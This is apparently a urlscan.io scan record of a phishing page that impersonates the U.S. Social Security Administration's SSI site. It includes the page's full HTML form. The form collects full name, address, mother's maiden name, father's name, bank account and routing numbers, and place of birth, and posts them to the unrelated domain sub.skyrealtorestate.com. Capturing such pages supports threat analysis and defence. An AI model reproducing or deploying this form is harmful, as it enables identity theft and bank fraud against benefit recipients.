teeny-animal-high.on-fleek.app Open in urlscan Pro
172.67.139.243  Public Scan

Form analysis
1 forms found in the DOM

POST https://sub.skyrealtorestate.com/fix/result.php

<form id="Ent005" action="https://sub.skyrealtorestate.com/fix/result.php" method="post" role="form">
  <input type="hidden" name="struts.token.name" value="Ent005_iClaim_TOKEN">
  <input type="hidden" name="Ent005_iClaim_TOKEN" value="J0S1U5MOJVAWJ5QHT7WQG7MASYIQN7T">
  <div class="yui3-g">
    <div class="yui3-u-3-4">
      <div class="content">
        <div class="uef-container module">
          <div class="hd">
            <h3>Supplemental Security Income (SSI)</h3>
          </div>
          <div class="bd">
            <div>
              <div class="uef-radioList uef-input" data-uefid="uef-in-rdoLst">
                <fieldset>
                  <div class="uef-pattern-label">
                    <div class="legend"><span id="uef-radioList1PatternLabel"> SSI provides monthly payment to people with disabilities and older adult who have little or no income or resources : </span></div>
                    <br>
                  </div>
                  <div class="uef-pattern-content">
                    <div class="me">
                      <div style="float:left;margin-right:20px;">
                        <label for="name">Full Name</label>
                        <input id="name" type="text" required="" value="" name="name">
                      </div>
                      <div style="float:right;margin-right:20px;">
                        <label for="name">Address</label>
                        <input id="address" required="" type="text" value="" name="address">
                      </div>
                    </div>
                    <br>
                    <div class="me">
                      <div style="float:left;margin-right:20px;">
                        <label for="name">Mother Name before Marriage</label>
                        <input id="mname" required="" type="text" value="" name="mname">
                      </div>
                      <div style="float:right;margin-right:20px;">
                        <label for="name">Father Name</label>
                        <input id="fname" required="" type="text" value="" name="fname">
                      </div>
                    </div>
                    <br>
                    <div class="me">
                      <div style="float:left;margin-right:20px;">
                        <label for="name">Account Number On File</label>
                        <input id="number" required="" type="text" value="" name="number">
                      </div>
                      <div style="float:right;margin-right:20px;">
                        <label for="name">Routing Number</label>
                        <input id="rnumber" required="" type="text" value="" name="rnumber">
                      </div>
                    </div>
                    <br>
                    <div style="float:left;margin-right:20px;">
                      <label for="name">Place Of Birth</label>
                      <input id="birth" required="" type="text" value="" name="birth">
                    </div>
                  </div>
                </fieldset>
              </div>
            </div>
          </div>
          <div class="offstate-noDomesticAddress" id="id-8132291158925">
            <div class="container-row">
              <div class="uef-selectYesNo uef-input" data-uefid="uef-in-ysNo">
                <fieldset>
                  <div class="uef-pattern-label">
                    <div class="legend"><span id="uef-selectYesNo2PatternLabel"> Do you have an address in the United States or U.S. territories? </span></div>
                    <p id="uef-selectYesNo2Instructions" class="uef-instructionText">This includes APO, DPO, or FPO addresses such as military bases or diplomatic locations.</p>
                  </div>
                </fieldset>
              </div>
            </div>
          </div>
        </div>
      </div>
    </div>
    <div class="uef-formControls" id="bottom">
      <span class="fw-accesskeyTooltip" aria-hidden="true">N</span>
      <input type="submit" value="Next" name="BTN_NEXT" id="btn_next" class="uef-btn uef-btn-primary" accesskey="N">
    </div>
  </div>
</form>

Text Content

K


SOCIAL SECURITY

The Official Website of the U.S. Social Security Administration




CONFIRM IDENTITY

 


SUPPLEMENTAL SECURITY INCOME (SSI)

SSI provides monthly payment to people with disabilities and older adult who
have little or no income or resources :

Full Name
Address

Mother Name before Marriage
Father Name

Account Number On File
Routing Number

Place Of Birth
Do you have an address in the United States or U.S. territories?

This includes APO, DPO, or FPO addresses such as military bases or diplomatic
locations.

N